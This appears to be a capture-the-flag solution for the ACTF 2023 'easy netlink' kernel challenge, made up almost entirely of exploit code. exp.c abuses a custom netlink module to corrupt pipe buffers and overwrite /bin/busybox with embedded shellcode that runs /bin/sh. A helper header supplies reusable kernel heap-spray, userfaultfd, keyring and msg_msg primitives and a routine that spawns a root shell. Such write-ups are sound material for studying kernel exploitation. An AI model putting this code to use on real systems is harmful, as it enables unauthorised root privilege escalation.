目录

ACTF 2023 easy netlink

exp.c

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#include <banzi.h>
#include <stdio.h>
#include <stdlib.h>
#include <netlink/genl/genl.h>
#include <netlink/netlink.h>
#include <errno.h>
int famid;
struct nl_sock *nlsock;
#define ADDTYPE 1
#define GETTYPE 2
#define DELTYPE 3
#define ADDTITLE 4
#define EDITTITLE 5
#define DELTITLE 6
#define ADDMSG 8
#define DELMSG 0xA
#define STARMSG 0xB
int addtype(char *data1,char *data2){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST, ADDTYPE, 1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    int res = nl_send_auto(nlsock, msg);
}
int gettype(){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST | NLM_F_DUMP , GETTYPE, 1);
    int res = nl_send_auto(nlsock, msg);
    return 0;
}
int deltype(char *data){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST, DELTYPE, 1);
    nla_put_string(msg, 1, data);
    int res = nl_send_auto(nlsock, msg);
}
int addtitle(char *data1,char *data2,char *data3){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST , ADDTITLE, 1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    nla_put_string(msg, 3, data3);
    int res = nl_send_auto(nlsock, msg);
}
int edittitle(char *data1,char *data2,char *data3){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST , EDITTITLE, 1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    nla_put_string(msg, 3, data3);
    int res = nl_send_auto(nlsock, msg);
}

int deltitle(char *data1,char *data2){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST , DELTITLE, 1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    int res = nl_send_auto(nlsock, msg);
}
int addmsg(char *data1,char *data2,char *data3,char *data4,char *data6){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST , ADDMSG, 1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    nla_put_string(msg, 3, data3);
    nla_put_string(msg, 4, data4);
    // nla_put_string(msg, 5, data4);
    nla_put_string(msg, 6, data6);
    int res = nl_send_auto(nlsock, msg);
}
int delmsg(char *data1,char *data2,char *data3,char *data4){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST,DELMSG,1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    nla_put_string(msg, 3, data3);
    nla_put_string(msg, 4, data4);
    // nla_put_string(msg, 6, data4);
    // nla_put_string(msg, 4, data4);
    int res = nl_send_auto(nlsock, msg);
}
int starmsg(char *data1,char *data2,char *data3){
    struct nl_msg *msg = nlmsg_alloc();

    genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid,0, NLM_F_REQUEST,STARMSG,1);
    nla_put_string(msg, 1, data1);
    nla_put_string(msg, 2, data2);
    nla_put_string(msg, 3, data3);
    int res = nl_send_auto(nlsock, msg);
}
int spray_page(){
    for(int i = 0;i < 0x10;i++){
        page_fds[i] =  pagealloc_pad(0x1000,1);
    }
    for(int i = 0;i < 0x80;i++){
        alloc_pipe_buff(i);
    }

}
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
int exp(){
    set_cpu_affinity(0,0);
    init_namespace();
    int err;
    nlsock = nl_socket_alloc();
    if(NULL == nlsock)
    {
        printf("socket error\n");
        return -1;
    }
 
    err = genl_connect(nlsock);
    if(err != 0)
    {
        printf("netlink connect error\n");
        return -1;
    }
    
    //"bbs"为某个family name
    famid = genl_ctrl_resolve(nlsock,"bbs");
    if(famid <= 0)
        logw("not get family id: %d\n",famid);
    else
        logi("family id: %d\n",famid);
    addtype("aaaa","bbbb"); //name type
    char *buf = calloc(1,0x4000);
    spray_page();
    for(int i = 0;i < 0x40;i++){
        addtitle("aaaa","aaaa" + i,"dddd"); // name title title_content
    }
    close(page_fds[5]);
    close(page_fds[7]);
    for(int i = 0;i < 0x40;i++){
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x100/0x40)) < 0){
            perror("pipe");
            return -1;
        }
    }
    for(int i = 0;i < 0x40;i++){
        memset(buf,'a' + i,0x100);
        write(pipes[i][1],buf,0x100);
    }
    close(page_fds[8]);
    close(page_fds[6]);
    for(int i = 0;i < 0x40;i++){
        addmsg("aaaa","aaaa" + i,"xxxx","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaa","mmmm");//name title msg_content choice
    }
    memset(buf,'a',0x100);
    uint64_t *data = buf;
    uint64_t same_idx1,same_idx2;
    for(int i = 0;i < 0x40;i++){
        read(pipes[i][0],buf,0x10);
        if(*(uint8_t*)(data) != 0x61 + i){
            hexdump(buf,0x10);
            logi("Found :%d == %d\n",i,*(uint8_t*)(data) - 0x61);
            same_idx1 = i;
            same_idx2 = *(uint8_t*)(data) - 0x61;
            break;
        }
    }
    if(same_idx1 == 0 || same_idx2 == 0){
        return -1;
    }
    if(same_idx1 > same_idx2){
        int tmp_idx = same_idx1;
        same_idx1 = same_idx2;
        same_idx2 = tmp_idx;
    }
    read(pipes[same_idx2][0],buf,0x100);
    write(pipes[same_idx2][1],buf,0x100);
    release_pipe_buff(same_idx1);
    for(int i = 0x40;i < 0x40 + 0x40;i++){
        if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(0x100/0x40)) < 0){
            perror("pipe");
            return -1;
        }
    }
    for(int i = 0x40;i < 0x40 + 0x40;i++){
        memset(buf,'a' + i,0x100);
        write(pipes[i][1],buf,i);
    }
    memset(buf,'\x00',0x100);
    read(pipes[same_idx2][0],buf,0x100);
    write(pipes[same_idx2][1],buf,0x100);
    data = buf;
    int tmp_idx = data[1] >> 32;
    logi("tmp_idx: 0x%llx",tmp_idx);
    int attack_fd = open("/bin/busybox",O_RDONLY);
    if(attack_fd < 0){
        perror("open");
        _exit(0);
    }
    loff_t offset = 0x1E87C3;
    write(pipes[tmp_idx][1],buf,0x1000);
    splice(attack_fd,&offset,pipes[tmp_idx][1], NULL, 1, 0);
    read(pipes[same_idx2][0],buf,0x100);
    hexdump(buf,0x100);
    data = buf;
    data[3] = 0x10;
    data[13] = 0x10;
    if (write(pipes[same_idx2][1],buf,0x100) < 0) {
        perror("[-] write");
        return -1;
    }
    if (write(pipes[tmp_idx][1],attack_data,sizeof(attack_data)) < 0) {
        perror("[-] write");
        return -1;
    }

}
int main(int argc,char *argv[])
{
    int cid = fork();
    if(cid == 0){
        exp();
        return 0;
    }
    else if(cid < 0){
        perror("fork");
        return -1;
    }
    else{
        wait(NULL);
        return 0;
    }
}

banzi.h

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#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
// #include <keyutils.h>
#include <sys/prctl.h>  
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sched.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// #define DEBUG 1
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"
#define ELEM_CNT(x) (sizeof(x) / sizeof(x[0]))
#define SYS_SETRESUID_OFFSET (0xd81d0)
#define PREFIX_BUF_LEN (16)
#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

int sync_pipe[2];
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif

#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex;
uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;

int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int ss[0x1000][2];
int fds[0x1000];
int keys[0x1000];
int page_fds[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;


struct t_args
{
    int id;
    int nfds;
    int timer;
    bool suspend;
};


struct rcu_head
{
    void *next;
    void *func;
};


struct user_key_payload
{
    struct rcu_head rcu;
    unsigned short	datalen;
    char *data[];
};
size_t user_cs, user_ss, user_rflags, user_sp;
void save_state() {
    __asm__ __volatile__(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
}

void init_namespace(void) {
    int fd;
    char buff[0x100];

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
    }

    if (unshare(CLONE_NEWNET)) {
        die("unshare(CLONE_NEWNET): %m");
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}
void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        die("sched_setaffinity: %m");
    }
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        die("setsockopt(PACKET_VERSION): %m");
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        die("setsockopt(PACKET_RX_RING): %m");
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        die("socket(AF_PACKET): %m");
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        die("bind(AF_PACKET): %m");
    }

    return s;
}

int pagealloc_pad(int size, int count) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

struct poll_list
{
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};
#define ISO_SLAB_LIMIT 8
#define INITIAL_PAGE_SPRAY 500
typedef struct
{
    bool in_use;
    int idx[ISO_SLAB_LIMIT];
}full_page;

enum spray_cmd {
    ALLOC_PAGE,
    FREE_PAGE,
    EXIT_SPRAY,
};

int shmid[0x1000];
void *shmaddr[0x1000];
int rootfd[2];
int sprayfd_child[2];
int sprayfd_parent[2];
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};
struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;
int msgqid[0x10000];
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int add_msg(int msqid, const void *msgp, size_t msgsz) {
	if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
		perror("[-] msgsnd");
    	return -1;
    }
    return 0;
}
void alloc_shm(int i) {
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i] < 0) {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0) {
        perror("[X] shmat");
        exit(1);
    }
}
#define MSG_COPY 040000
#define IPC_NOWAIT 04000
int show_msg(int msqid, void *msgp,size_t msgsz,long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void build_msg(int num){
	for(int i = 0;i < num;i++){
		msgqid[i] = msg_get();
	}
}
int spray_sendmsg(char *buf,int size,int count){
    // char buf[size];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
    msgh.msg_control = buf;
    msgh.msg_controllen = size;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
    for(int i = 0;i < count;i++){
      sendmsg(sockfd, &msgh, 0);
    }
}
void errExit(char *msg) {
   puts(msg);
   _exit(-1);
}
void registerUserfault(void *fault_page,void *handler)
{
   pthread_t thr;
   struct uffdio_api ua;
   struct uffdio_register ur;
   uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features    = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1)
      errExit("[-] ioctl-UFFDIO_API");
 
   ur.range.start = (unsigned long)fault_page;
   ur.range.len   = PAGE_SIZE;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
      errExit("[-] ioctl-UFFDIO_REGISTER");
   int s = pthread_create(&thr, NULL,handler, (void*)uffd);
   if (s!=0)
      errExit("[-] pthread_create");
}
int check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return 0;
        
    close(fd);
    
    return 1;
}
void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}
int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}

void hexdump(unsigned char *buff, size_t size) {
    int i, j;

    for (i = 0; i < size / 8; i++) {
        if ((i % 2) == 0) {
            if (i != 0) printf("  \n");

            printf("  %04x  ", i * 8);
        }

        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }

    putchar('\n');
}

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        // open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}
#define KEY_SPEC_PROCESS_KEYRING	-2	/* - key ID for process-specific keyring */
#define KEYCTL_UPDATE			2	/* update a key */
#define KEYCTL_REVOKE			3	/* revoke a key */
#define KEYCTL_UNLINK			9	/* unlink a key from a keyring */
#define KEYCTL_READ			11	/* read a key or keyring's contents */
int add_key(char *description, void *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int alloc_key(int id, char *buff, size_t size)
{
	char desc[256] = { 0 };
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    payload = buff ? buff : calloc(1, size);

    if (!buff)
        memset(payload, id, size);    

    key = add_key(desc, payload, size);

    if (key < 0)
	{
		perror("[X] add_key()");
		return -1;
	}
    	
    return key;
}
int key_update(int keyid, void *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int keyctl_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int keyctl_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

int free_key(int i)
{
    if(!keys[i]) puts("Invalid keys[i]");
	
    if(keyctl_revoke(keys[i]) < 0 || keyctl_unlink(keys[i]) < 0){
        printf("keys[%d]\n ",i);
        perror("=> ");
        return -1;
    }
	
    // n_keys--;
}


void free_all_keys(bool skip_corrupted_key)
{
    for (int i = 0; i < n_keys; i++)
    {   
        if (skip_corrupted_key && i == corrupted_key)
            continue;

        free_key(i);
    }

    sleep(1); // GC keys
}

int keyctl_read(int keyid, void *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
char *get_key(int i, size_t size)
{
	char *data;

	data = calloc(1, size);
	keyctl_read(keys[i], data, size);
    // printf("%s\n",data);
	return data;
}


void alloc_pipe_buff(int i)
{

    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


int leak_kernel_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    leak = (uint64_t *)key;
    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        if (is_kernel_pointer(leak[i]) && (leak[i] & 0xfff) == 0xec0)
        {   
            logd("get kernel_base: 0x%llx",leak[i]);
            uint64_t kernel_base1 = leak[i] - 0x1246ec0;
            logi("get kernel_base: 0x%llx",kernel_base1);
            return kernel_base1,i;
        }
    }

    return -1;
}

int leak_heap_pointer(int kid)
{
    uint64_t *leak;
    char *key;

    key = get_key(kid, 0xfff0);
    // hexdump(key,0x100);
    leak = (uint64_t *)key;

    for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
    {
        // if(is_heap_pointer(leak[i])){
        //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
        // }
        if (is_heap_pointer(leak[i]) && is_heap_pointer(leak[i + 1]) && is_heap_pointer(leak[i + 2]))
        {   
            target_object = leak[i] - (i + 1) * 0x8 - 0x10;
            logi("key_spray_heap_addr: %llx",target_object);
            return target_object;
        }
    }

    return -1;
}


int init_sk_buffer(int i){
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
        perror("[-] socketpair");
        return -1;
    }
}

int alloc_sk_buffer(int i,char *buff,size_t size){
    if (write(ss[i][0], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}

int show_skb_buff(int i,char *buff,size_t size) {
    if (read(ss[i][1], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}

exp.sh

1
2
#!/bin/sh
gcc $1 -static -lpthread -pthread -O2 -o exp $(pkg-config --cflags --libs libnl-3.0 libnl-genl-3.0) && find . | cpio -o --format=newc > ../rootfs.cpio.gz && cd .. && ./run.sh